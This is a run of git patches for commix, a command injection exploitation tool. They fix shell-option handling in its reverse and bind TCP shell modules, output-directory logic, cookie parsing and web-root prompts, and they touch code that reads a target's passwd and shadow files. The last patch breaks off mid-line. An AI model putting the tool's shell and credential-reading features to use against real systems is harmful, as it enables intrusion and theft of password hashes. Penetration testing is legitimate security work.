TESTABLE_PARAMETERS = None From a386467972cf36878ea5be79a849ab06c6f9c9d7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 26 Apr 2024 08:21:32 +0300 Subject: [PATCH 0430/1023] Minor update --- src/thirdparty/beautifulsoup/beautifulsoup.py | 4 +--- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py index 5e78f5decb..c0d2cc4b25 100644 --- a/src/thirdparty/beautifulsoup/beautifulsoup.py +++ b/src/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -85,7 +85,6 @@ __license__ = "New-style BSD" import codecs -import types import re import sys @@ -2029,6 +2028,5 @@ def _ebcdic_to_ascii(self, s): #By default, act as an HTML pretty-printer. if __name__ == '__main__': - import sys soup = BeautifulSoup(sys.stdin) print(soup.prettify()) diff --git a/src/utils/settings.py b/src/utils/settings.py index a9ebe605cb..0b8845021e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f48c39c7dba4cd7078be12ddbe7c3319f95853a9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 27 Apr 2024 09:42:00 +0300 Subject: [PATCH 0431/1023] Fixes https://github.com/commixproject/commix/issues/910 --- src/core/injections/controller/parser.py | 1 - src/utils/settings.py | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 8c4616839a..03b733a1b9 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -76,7 +76,6 @@ def invalid_data(request): with open(request_file, 'r') as file: request = file.read() else: - r invalid_data(request_file) if menu.options.requestfile: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0b8845021e..aa1f2237b0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3d33206ab68f82cf50d6d83cb2a31faf6a8fa65a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 29 Apr 2024 09:05:48 +0300 Subject: [PATCH 0432/1023] Bug fix regarding help (`?`) command. Ref: https://github.com/commixproject/commix/issues/905 --- src/core/injections/controller/shell_options.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/core/shells/bind_tcp.py | 4 ++-- src/core/shells/reverse_tcp.py | 4 ++-- src/utils/settings.py | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 11717f157c..76bf9d76b7 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -180,7 +180,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "quit" option - elif any(("quit", "exit")): + elif os_shell_option == "quit" or os_shell_option == "exit": logs.print_logs_notification(filename, url) raise SystemExit() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 9625394db4..77f805a936 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -265,7 +265,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r return go_back, go_back_again # The "quit" option - elif any(("quit", "exit")): + elif os_shell_option == "quit" or os_shell_option == "exit": raise SystemExit() """ diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 0fcfe4b7a2..5e4072972c 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -34,7 +34,7 @@ def shell_options(option): print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() - elif any(("quit", "exit")): + elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": @@ -502,7 +502,7 @@ def configure_bind_tcp(separator): elif option.lower() == "?": menu.bind_tcp_options() continue - elif any(("quit", "exit")): + elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.BIND_TCP = False diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index d0543e5942..0d0f6d4b56 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -39,7 +39,7 @@ def shell_options(option): print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() - elif any(("quit", "exit")): + elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": @@ -708,7 +708,7 @@ def configure_reverse_tcp(separator): if option.lower() == "?": menu.reverse_tcp_options() continue - if any(("quit", "exit")): + if option.lower() == "quit" or option.lower() == "exit": raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.REVERSE_TCP = False diff --git a/src/utils/settings.py b/src/utils/settings.py index aa1f2237b0..2dbd6fad1d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8684693a0afb433f6aec73e64372bb667ca7fcb4 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Thu, 2 May 2024 09:31:21 +0300 Subject: [PATCH 0433/1023] Update builds.yml Fix regarding the failing CI --- .github/workflows/builds.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 0564104390..67fb4ffbfb 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '3.10', 'pypy-2.7', 'pypy-3.7' ] + python-version: [ '3.10', 'pypy-2.7', 'pypy-3.9' ] steps: - uses: actions/checkout@v2 - name: Set up Python From 1f99ecdeac8d5dd2e89262e76c090d132022f782 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 3 May 2024 11:49:08 +0300 Subject: [PATCH 0434/1023] Minor bug-fix regarding option `--output-dir`. Ref: https://github.com/commixproject/commix/issues/905 --- doc/CHANGELOG.md | 1 + src/utils/logs.py | 25 +++++++++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 17 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index eb39ffc3a5..4ad03b6c03 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Fixed: Minor bug-fix regarding option `--output-dir`. * Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. * Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). * Revised: Improvement regarding processing / ignoring custom injection marker (i.e. asterisk `*`). diff --git a/src/utils/logs.py b/src/utils/logs.py index 1886ced1b5..8cb1e1249d 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -16,6 +16,7 @@ import re import sys import time +import tempfile import sqlite3 from datetime import date from datetime import datetime @@ -54,10 +55,13 @@ def logs_filename_creation(url): menu.options.output_dir = os.path.abspath(menu.options.output_dir) if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir + warn_msg = "Using '" + output_dir + "' as the output directory." + print(settings.print_warning_msg(warn_msg)) else: - error_msg = "The '" + menu.options.output_dir + "' is not directory." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) + warn_msg = "Unable to create output directory '" + menu.options.output_dir + "'. " + warn_msg += "Using temporary directory '" + output_dir + "' instead." + print(settings.print_warning_msg(warn_msg)) else: output_dir = settings.OUTPUT_DIR path_creation(os.path.dirname(settings.OUTPUT_DIR)) @@ -67,7 +71,6 @@ def logs_filename_creation(url): # The logs filename construction. filename = create_log_file(url, output_dir) - return filename """ @@ -89,11 +92,9 @@ def create_log_file(url, output_dir): if os.path.exists(menu.options.session_file): settings.SESSION_FILE = menu.options.session_file else: - err_msg = "The provided session file ('" + \ - menu.options.session_file + \ - "') does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg = "The provided session file ('" + menu.options.session_file + "') does not exist." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() else: settings.SESSION_FILE = logs_path + "session.db" @@ -119,6 +120,10 @@ def create_log_file(url, output_dir): error_msg = str(err_msg.args[0]) + "." print(settings.print_critical_msg(error_msg)) raise SystemExit() + + if not menu.options.output_dir: + filename = os.path.abspath(filename) + return filename """ @@ -180,7 +185,7 @@ def executed_command(filename, cmd, output): def logs_notification(filename): # Save command history. if not menu.options.no_logging: - info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'." + info_msg = "Fetched data logged to text files under '" + filename + "'." print(settings.print_info_msg(info_msg)) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 2dbd6fad1d..abe33a9a2b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b9f7408e6d355d40be9237e672849152b26e5d0d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 May 2024 10:34:44 +0300 Subject: [PATCH 0435/1023] Fixes https://github.com/commixproject/commix/issues/913 --- src/core/requests/parameters.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 88544b956f..45e3b4636b 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -467,7 +467,7 @@ def vuln_POST_param(parameter, url): if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item: item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") _ = (re.search('<(.*)>' + result + '', item)) - if (_.groups()[0]) == (_.groups()[1]): + if _ and (_.groups()[0]) == (_.groups()[1]): vuln_parameter = ''.join(_.groups()[0]) if settings.CUSTOM_INJECTION_MARKER: try: diff --git a/src/utils/settings.py b/src/utils/settings.py index abe33a9a2b..8c9f048044 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ebeb1316fa2e7208583b9ee169b77dc9159e1847 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 8 May 2024 13:51:50 +0300 Subject: [PATCH 0436/1023] Minor update --- src/core/injections/controller/checks.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index afa956efc0..d67cf272ea 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -110,7 +110,8 @@ def process_non_custom(): settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_NO: - settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = True + settings.SKIP_NON_CUSTOM = True + settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 8c9f048044..bf368891ed 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From daf9ec875ae7f70909803f94761150b3e3a3fbed Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 9 May 2024 09:11:32 +0300 Subject: [PATCH 0437/1023] Minor update --- src/core/injections/controller/checks.py | 10 ++++------ src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d67cf272ea..ad9753d939 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2145,14 +2145,12 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if not menu.options.no_logging: output_file.write(" " + sys_users) else: - # print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + settings.PASSWD_FILE + "'." print(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: - # print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) @@ -2201,8 +2199,8 @@ def print_passes(sys_passes, filename, _, alter_shell): if not menu.options.no_logging: output_file.write(" " + fields[0]) else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + settings.SHADOW_FILE + "'." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index bf368891ed..a2ef434357 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d81bcfe9566223478af958ad2955dd12ea1eb123 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 10 May 2024 09:05:23 +0300 Subject: [PATCH 0438/1023] Minor refactoring --- src/core/injections/controller/controller.py | 25 +------------------- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 25 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 207671f6df..bd5c4b3683 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -778,30 +778,7 @@ def do_check(url, http_request_method, filename): warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - # Check for "wizard" switch. - if menu.options.wizard: - if perform_checks(url, http_request_method, filename) == False: - scan_level = menu.options.level - while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: - while True: - message = "Do you want to increase to '--level=" + str(scan_level + 1) - message += "' in order to perform more tests? [Y/n] > " - next_level = common.read_input(message, default="Y", check_batch=True) - if next_level in settings.CHOICE_YES: - menu.options.level = int(menu.options.level + scan_level) - if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : - scan_level = scan_level + 1 - else: - break - elif next_level in settings.CHOICE_NO: - break - elif next_level in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(next_level) - pass - else: - perform_checks(url, http_request_method, filename) + perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! if not settings.INJECTION_CHECKER: diff --git a/src/utils/settings.py b/src/utils/settings.py index a2ef434357..726718f4e3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 82d4aba328aa21e8efc81271dfbfeafdcfe79c70 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 May 2024 09:25:38 +0300 Subject: [PATCH 0439/1023] Fixes https://github.com/commixproject/commix/issues/914 --- src/core/injections/controller/checks.py | 13 +++++++------ src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ad9753d939..1e60d1a0da 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -321,12 +321,13 @@ def connection_exceptions(err_msg): """ def not_declared_cookies(response): try: - set_cookie_headers = [] - for set_cookie_header in response.getheaders(): - if settings.SET_COOKIE in set_cookie_header: - set_cookie_headers.append(re.search(r'([^;]+);?', set_cookie_header[1]).group(1)) - - candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_headers) + set_cookie_header = [] + for response_header in response.getheaders(): + if settings.SET_COOKIE in response_header: + _ = re.search(r'([^;]+);?', response_header[1]) + if _: + set_cookie_header.append(_.group(1)) + candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_header) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True if menu.options.cookie: diff --git a/src/utils/settings.py b/src/utils/settings.py index 726718f4e3..88b6c7fb5d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "45" +REVISION = "46" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From db175feff9993c8e96c1bd29118bbfe0cd03d505 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Mon, 13 May 2024 14:59:36 +0300 Subject: [PATCH 0440/1023] Trying python 3.11 in CI/CD tests --- .github/workflows/builds.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 67fb4ffbfb..fb6ee0738d 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '3.10', 'pypy-2.7', 'pypy-3.9' ] + python-version: [ 'pypy-2.7', '3.10' ] steps: - uses: actions/checkout@v2 - name: Set up Python From ef1427530c04378100c59a563488e80c1bb484f8 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Mon, 13 May 2024 15:01:57 +0300 Subject: [PATCH 0441/1023] Trying python 3.11 in CI/CD tests --- .github/workflows/builds.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index fb6ee0738d..48bdd19506 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.10' ] + python-version: [ 'pypy-2.7', '3.11' ] steps: - uses: actions/checkout@v2 - name: Set up Python From b4cc6f58d8c75df030d6d75aab3eb404b448271b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 14 May 2024 07:29:09 +0300 Subject: [PATCH 0442/1023] Minor revert regarding commit: https://github.com/commixproject/commix/commit/0ed34b8a3909dd8bec8773b4d9a4cade3aea8436 --- src/core/main.py | 4 +--- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index eb577e6a85..a04aaae587 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -513,9 +513,7 @@ def main(filename, url, http_request_method): requests.application_identification(url) # Specifies the technology supporting the web application requests.technology_detection(response) - if response.info()[settings.X_POWERED_BY] : - server_banner = response.info()[settings.X_POWERED_BY] - elif response.info()[settings.SERVER] : + if response.info()[settings.SERVER] : server_banner = response.info()[settings.SERVER] # Procedure for target server's operating system identification. requests.check_target_os(server_banner) diff --git a/src/utils/settings.py b/src/utils/settings.py index 88b6c7fb5d..79663583f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "46" +REVISION = "47" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2850e40c5469bf676f301a94f6cb979eefc4bfe2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 May 2024 07:15:46 +0300 Subject: [PATCH 0443/1023] Minor improvements regarding semiblind (i.e. "file-based") technique. --- doc/CHANGELOG.md | 1 + .../techniques/file_based/fb_handler.py | 86 +++++-------------- .../techniques/file_based/fb_injector.py | 13 +-- .../techniques/tempfile_based/tfb_handler.py | 4 + src/utils/logs.py | 2 +- src/utils/settings.py | 6 +- 6 files changed, 35 insertions(+), 77 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4ad03b6c03..a79971c481 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. * Fixed: Minor bug-fix regarding option `--output-dir`. * Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. * Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 34538a4f10..867fd6911f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -49,7 +49,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + tmp_path + "' as temporary writable directory." + debug_msg = "Using '" + tmp_path + "' for temporary writable directory." print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in temporary " info_msg += "directory ('" + tmp_path + "') for command execution output.\n" @@ -78,20 +78,18 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h Provide custom server's root directory """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): - if settings.TARGET_OS == settings.OS.WINDOWS : - example_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] - else: - example_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) - message = "Please provide web server document root directory (e.g. '" - message += example_root_dir + "') > " - settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) - if settings.WEB_ROOT.endswith(("\\", "/")): - settings.WEB_ROOT = settings.WEB_ROOT[:-1] - if len(settings.WEB_ROOT) == 0: - settings.WEB_ROOT = example_root_dir - if menu.options.web_root: - menu.options.web_root = settings.WEB_ROOT - settings.CUSTOM_WEB_ROOT = True + if not settings.CUSTOM_WEB_ROOT: + if settings.TARGET_OS == settings.OS.WINDOWS : + default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] + else: + default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) + message = "Enter what you want to use for writable directory (e.g. '" + message += default_root_dir + "') > " + settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) + if len(settings.WEB_ROOT) == 0: + settings.WEB_ROOT = default_root_dir + menu.options.web_root = settings.WEB_ROOT.strip() + settings.CUSTOM_WEB_ROOT = True """ Return TEMP path for win / *nix targets. @@ -124,52 +122,11 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons menu.options.web_root = menu.options.web_root + "/" settings.WEB_ROOT = menu.options.web_root else: - # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. - if "apache" in settings.SERVER_BANNER.lower(): - if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] > "2.3" and not settings.TARGET_OS == settings.OS.WINDOWS: - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - settings.WEB_ROOT = settings.WEB_ROOT - except IndexError: - pass - # Add "/html" to servers root directory - elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - pass - # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" - elif "nginx" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] >= "1.2.4": - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - # Add "/www" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/www" - except IndexError: - pass - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - pass - else: - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - - path = _urllib.parse.urlparse(url).path - path_parts = path.split('/') - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - EXTRA_DIR = path.replace(last_param, "") - settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + # Provide custom server's root directory. + custom_web_root(url, timesec, filename, http_request_method, url_time_response) + + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") return tmp_path @@ -215,7 +172,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + settings.WEB_ROOT + "' as writable directory." + debug_msg = "Using '" + settings.WEB_ROOT + "' for writable directory." print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT info_msg += "' for command execution output. " @@ -600,6 +557,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() == "quit" or cmd.lower() == "exit": + # Delete previous shell (text) files (output) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break @@ -632,7 +593,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r return False else: return True - elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index f85ab905c3..573a4fbb81 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -277,13 +277,6 @@ def custom_web_root(url, OUTPUT_TEXTFILE): hostname = _urllib.parse.urlparse(url).hostname netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE - - for item in settings.LINUX_DEFAULT_DOC_ROOTS: - item = item.replace(settings.DOC_ROOT_TARGET_MARK, hostname) - if item == menu.options.web_root: - settings.DEFINED_WEBROOT = output - break - if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): if settings.MULTI_TARGETS: settings.RECHECK_FILE_FOR_EXTRACTION = True @@ -295,8 +288,8 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: - message = "Please enter URL to use " - message += "for command execution output: > " + message = "Enter URL to use " + message += "for command execution output > " message = common.read_input(message, default=output, check_batch=True) output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output @@ -317,7 +310,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking if the file is accessible from 